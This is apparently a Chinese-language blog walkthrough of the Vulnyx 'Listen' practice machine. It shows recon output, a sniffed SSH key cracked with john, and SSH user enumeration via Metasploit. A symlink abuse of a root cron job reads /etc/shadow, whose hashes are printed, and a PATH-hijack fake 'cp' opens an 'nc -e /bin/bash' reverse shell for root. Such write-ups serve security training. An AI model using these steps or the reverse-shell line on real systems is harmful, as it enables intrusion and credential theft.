Vulnyx-Listen-Walkthrough
城南花已开 Lv6

信息收集

服务探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
sudo arp-scan -l
[sudo] password for Pepster:
Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.60.1 00:50:56:c0:00:08 VMware, Inc.
192.168.60.2 00:50:56:e3:f6:57 VMware, Inc.
192.168.60.229 08:00:27:31:84:e3 PCS Systemtechnik GmbH
192.168.60.254 00:50:56:e1:d8:58 VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.114 seconds (121.10 hosts/sec). 4 responded
export ip=192.168.60.229
❯ rustscan -a $ip
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Open ports, closed hearts.

[~] The config file is expected to be at "/home/Pepster/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.60.229:22
Open 192.168.60.229:8000
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-05 15:12 CST
Initiating ARP Ping Scan at 15:12
Scanning 192.168.60.229 [1 port]
Completed ARP Ping Scan at 15:12, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:12
Completed Parallel DNS resolution of 1 host. at 15:12, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 15:12
Scanning 192.168.60.229 [2 ports]
Discovered open port 8000/tcp on 192.168.60.229
Discovered open port 22/tcp on 192.168.60.229
Completed SYN Stealth Scan at 15:12, 0.07s elapsed (2 total ports)
Nmap scan report for 192.168.60.229
Host is up, received arp-response (0.00035s latency).
Scanned at 2025-03-05 15:12:15 CST for 0s

PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
8000/tcp open http-alt syn-ack ttl 64
MAC Address: 08:00:27:31:84:E3 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds
Raw packets sent: 3 (116B) | Rcvd: 3 (116B)

开放了8000端口,看一下网站使用的技术栈

发现是利用pythonserver模块搭建的简易http服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
❯ whatweb -v $ip:8000
WhatWeb report for http://192.168.60.229:8000
Status : 200 OK
Title : <None>
IP : 192.168.60.229
Country : RESERVED, ZZ

Summary : HTTPServer[SimpleHTTP/0.6 Python/3.7.3], Python[3.7.3]

Detected Plugins:
[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.

String : SimpleHTTP/0.6 Python/3.7.3 (from server string)

[ Python ]
Python is a programming language that lets you work more
quickly and integrate your systems more effectively. You
can learn to use Python and see almost immediate gains in
productivity and lower maintenance costs.

Version : 3.7.3
Website : http://www.python.org/

HTTP Headers:
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.7.3
Date: Wed, 05 Mar 2025 07:13:56 GMT
Content-type: text/html
Content-Length: 44
Last-Modified: Sat, 03 Jun 2023 18:24:27 GMT

浏览器访问8000端口

image

尝试枚举目录,无果,扫的非常慢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ gobuster dir -u "http://$ip:8000" -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,html,zip,txt -b 403,404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.60.229:8000
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.6
[+] Extensions: zip,txt,php,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 44]
Progress: 406107 / 1038220 (39.12%)
===============================================================
Finished
===============================================================

私钥泄露

剑走偏锋,脑洞是挺大的

根据8000端口的提示,只需要listen监听

尝试利用wireshark抓一下包

发现靶机向广播地址发UDP

image

包中的内容就是ssh的私钥

image

复制内容,尝试利用私钥ssh连接一下

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ vi id_rsa
❯ ssh2john id_rsa >hash
❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
idontknow (id_rsa)
1g 0:00:00:00 DONE (2025-03-05 15:34) 100.0g/s 131200p/s 131200c/s 131200C/s cuties..slayer
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

用户名枚举

但问题是我们不知道用户名

所以尝试枚举用户名登录

不过ssh并没有选项给我们在命令行中传递私钥密码

利用ssh-agent代理来预加载私钥

1
2
3
4
5
6
7
eval $(ssh-agent -s)	# 启动 ssh-agent
Agent pid 1831758
❯ ssh-add id_rsa # 添加私钥,系统会提示输入密码
Enter passphrase for id_rsa:
Identity added: id_rsa (id_rsa)
for i in $(cat /usr/share/seclists/Usernames/Names/names.txt);do ssh $i@$ip ;done
##接下去一路按回车即可

在这一步其实还有个方案,利用rustscan详细扫描

可以得知openssh的版本过低为7.7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
❯ rustscan -a $ip -- -A -sV
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
Open 192.168.60.230:22
Open 192.168.60.230:8000
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -A -sV" on ip 192.168.60.230
Depending on the complexity of the script, results may take some time to appear.

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 0c:3f:13:54:6e:6e:e6:56:d2:91:eb:ad:95:36:c6:8d (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhemxEZcm98GFwIRozVUePnC+Cejni5lScAa7ha5neDlWQT2e6dbubOkddku/qgtgY4/kw/pGPh7oTqHg9WKHTMqTAzdN0DDaU/5twewwMf6s9ERuuYYieP7mzjsX2APhOr23CFWVr37Y+mQ/A4J0ODizpr/mggCCi6kqHqyRWgcPG98AVJ9IjPehVkptQdLpQlSOV8EzJClu6tBInWzxtGi5v0B94lMYRDXqZE9Z1wCSh9oU0HnwRwfFqB0dcOH+kDZVLYi06aiHKXkKgSFM3G6LJQY8ad4FCEc7TU+agLRPHFUPFqqPbf9hbDD7MUdR4pXEQtJ1p/D/9rdbBg1Sp
| 256 9b:e6:8e:14:39:7a:17:a3:80:88:cd:77:2e:c3:3b:1a (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBB+zmcUltQUYUVvvfWqtUjdFpCh0IkOnPjmcctTpnXS7MWK37n6h9DEq4WNsHmauyKEuRnml5mOLUbNIZHHUBgY=
| 256 85:5a:05:2a:4b:c0:b2:36:ea:8a:e2:8a:b2:ef:bc:df (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHNArrcR981CzORruPnEn/opg56t7SFktwnhZzGpXcfE
8000/tcp open http syn-ack ttl 64 SimpleHTTPServer 0.6 (Python 3.7.3)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: SimpleHTTP/0.6 Python/3.7.3
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:A6:23:DC (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Uptime guess: 3.163 days (since Sun Mar 2 13:49:30 2025)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE
HOP RTT ADDRESS
1 0.58 ms 192.168.60.230

尝试搜索有没有漏洞POC可以利用的

发现存在用户枚举的漏洞,-m参数拷贝到当前目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ searchsploit  openssh 7.7
-------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenSSH 2.3 < 7.7 - Username Enumeration | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC) | linux/remote/45210.py
OpenSSH < 7.7 - User Enumeration (2) | linux/remote/45939.py
-------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
❯ searchsploit -m linux/remote/45210.py
Exploit: OpenSSH 2.3 < 7.7 - Username Enumeration (PoC)
URL: https://www.exploit-db.com/exploits/45210
Path: /usr/share/exploitdb/exploits/linux/remote/45210.py
Codes: CVE-2018-15473
Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/Pepster/vulnyx/45210.py

卧槽,还是用python2写的,利用的时候给我库库报错

利用msfconsole枚举好了,metasploit真好用,无脑

一会就出了abel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
❯ msfconsole
Metasploit tip: Use the edit command to open the currently active module
in your editor

msf6 > search openssh

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/windows/manage/forward_pageant . normal No Forward SSH Agent Requests To Remote Pageant
1 post/windows/manage/install_ssh . normal No Install OpenSSH for Windows
2 post/multi/gather/ssh_creds . normal No Multi Gather OpenSSH PKI Credentials Collection
3 auxiliary/scanner/ssh/ssh_enumusers . normal No SSH Username Enumeration
4 \_ action: Malformed Packet . . . Use a malformed packet
5 \_ action: Timing Attack . . . Use a timing attack
6 exploit/windows/local/unquoted_service_path 2001-10-25 great Yes Windows Unquoted Service Path Privilege Escalation


Interact with a module by name or index. For example info 6, use 6 or use exploit/windows/local/unquoted_service_path

msf6 > use 3
[*] Using action Malformed Packet - view all 2 actions with the show actions command
msf6 auxiliary(scanner/ssh/ssh_enumusers) > show options

Module options (auxiliary/scanner/ssh/ssh_enumusers):

Name Current Setting Required Description
---- --------------- -------- -----------
CHECK_FALSE true no Check for false positives (random username)
DB_ALL_USERS false no Add all users in the current database to the list
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.
html
RPORT 22 yes The target port
THREADS 1 yes The number of concurrent threads (max one per host)
THRESHOLD 10 yes Amount of seconds needed before a user is considered found (timing attack only)
USERNAME no Single username to test (username spray)
USER_FILE no File containing usernames, one per line


Auxiliary action:

Name Description
---- -----------
Malformed Packet Use a malformed packet



View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/ssh/ssh_enumusers) > set Rhosts 192.168.60.230
Rhosts => 192.168.60.230
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /usr/share/seclists/Usernames/Names/names.txt
USER_FILE => /usr/share/seclists/Usernames/Names/names.txt
msf6 auxiliary(scanner/ssh/ssh_enumusers) > exploit

[*] 192.168.60.230:22 - SSH - Using malformed packet technique
[*] 192.168.60.230:22 - SSH - Checking for false positives
[*] 192.168.60.230:22 - SSH - Starting scan
[+] 192.168.60.230:22 - SSH - User 'abel' found
^C[*] Caught interrupt from the console...
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_enumusers) >

用户提权

得到用户abel,拿到user

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
abel@listen:~$ id
uid=1000(abel) gid=1000(abel) groups=1000(abel)
abel@listen:~$ ls -al
total 32
drwx------ 4 abel abel 4096 Jun 3 2023 .
drwxr-xr-x 3 root root 4096 Jun 3 2023 ..
lrwxrwxrwx 1 root root 9 Jun 20 2021 .bash_history -> /dev/null
-rw-r--r-- 1 abel abel 220 Jun 12 2021 .bash_logout
-rw-r--r-- 1 abel abel 3526 Jun 12 2021 .bashrc
drwxr-xr-x 3 abel abel 4096 Jun 3 2023 .local
-rw-r--r-- 1 abel abel 66 Jun 12 2021 .selected_editor
drwx------ 2 abel abel 4096 Jun 3 2023 .ssh
-r-------- 1 abel abel 33 Jun 3 2023 user.txt
abel@listen:~$ cat user.txt
33f3f86a697126c6fe0a39a337ade21a

传个linpeas.sh上去,扫一遍

Root提权

任意文件读取

发现存在定时任务,root会每分钟复制/var/www/html/index.html/tmp

而且这个/var/www/html文件夹是隶属于当前用户abel

1
2
3
4
5
6
7
* * * * * root cp /var/www/html/index.html /tmp
------------------------------------------------------
abel@listen:/var/www/html$ ls -la
total 12
drwxr-xr-x 2 abel abel 4096 Jun 3 2023 .
drwxr-xr-x 3 abel abel 4096 Jun 3 2023 ..
-rw-r--r-- 1 abel abel 44 Jun 3 2023 index.html

直接删除,建个软连接即可,到tmp目录等着就行

这样就可以读到shadow文件了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
abel@listen:/var/www/html$ rm index.html
abel@listen:/var/www/html$ ln -s /etc/shadow index.html
abel@listen:/var/www/html$ cd /tmp/
abel@listen:/tmp$ cat index.html
root:$6$kehps0VQtaANi.xy$3vYwx8t6WSrRmBgMCFxwyoryLOYeESSGHufAjRYpvfjZcb5s/myJHSkchJ/LPDs3Nm2vvXb7cHz4wzSQ4asEL/:19511:0:99999:7:::
daemon:*:18766:0:99999:7:::
bin:*:18766:0:99999:7:::
sys:*:18766:0:99999:7:::
sync:*:18766:0:99999:7:::
games:*:18766:0:99999:7:::
man:*:18766:0:99999:7:::
lp:*:18766:0:99999:7:::
mail:*:18766:0:99999:7:::
news:*:18766:0:99999:7:::
uucp:*:18766:0:99999:7:::
proxy:*:18766:0:99999:7:::
www-data:*:18766:0:99999:7:::
backup:*:18766:0:99999:7:::
list:*:18766:0:99999:7:::
irc:*:18766:0:99999:7:::
gnats:*:18766:0:99999:7:::
nobody:*:18766:0:99999:7:::
_apt:*:18766:0:99999:7:::
systemd-timesync:*:18766:0:99999:7:::
systemd-network:*:18766:0:99999:7:::
systemd-resolve:*:18766:0:99999:7:::
messagebus:*:18766:0:99999:7:::
sshd:*:18766:0:99999:7:::
systemd-coredump:!!:18766::::::
proftpd:!:18789:0:99999:7:::
ftp:*:18789:0:99999:7:::
redis:*:18790:0:99999:7:::
abel:$6$s0TprfPqLqTQZfQD$v9.W3ZDSXACy3oZGa5xOnWXPOcUJmF0qlF/DBhGjYZxPB78jGA9rhq8wHWO35b4YvZ6RF0mJI8MdqDNtph4761:19511:0:99999:7:::

尝试读一下root flag

1
2
3
4
abel@listen:/var/www/html$ rm index.html
abel@listen:/var/www/html$ ln -s /root/root.txt index.html
abel@listen:/tmp$ cat index.html
ebe57c4d8c4053199d7f66ec0491da9d

到这其实就可以走人了

PATH劫持

但你要更进一步拿到root shell的话

可以进行路径劫持,仔细观察Crontab定时任务使用的PATH

存在/dev/shm这个目录

1
2
3
4
5
6
7
8
SHELL=/bin/sh
PATH=/usr/local/sbin:/dev/shm:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root cp /var/www/html/index.html /tmp

而这个目录我们可读可写

1
2
3
abel@listen:/tmp$ cd /dev/shm/
abel@listen:/dev/shm$ echo "nc -e /bin/bash 192.168.60.100 4444">cp
abel@listen:/dev/shm$ chmod +x cp

监听一下端口,即可拿到root shell

1
2
3
4
5
6
7
8
9
10
❯ pwncat-cs -lp 4444
[17:35:05] Welcome to pwncat 🐈! __main__.py:164
[17:35:59] received connection from 192.168.60.229:36068 bind.py:84
[17:35:59] 192.168.60.229:36068: registered new host w/ manager.py:957
db
(local) pwncat$
(remote) root@listen:/root# id
uid=0(root) gid=0(root) groups=0(root)
(remote) root@listen:/root# cat /root/root.txt
ebe57c4d8c4053199d7f66ec0491da9d
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 502.5k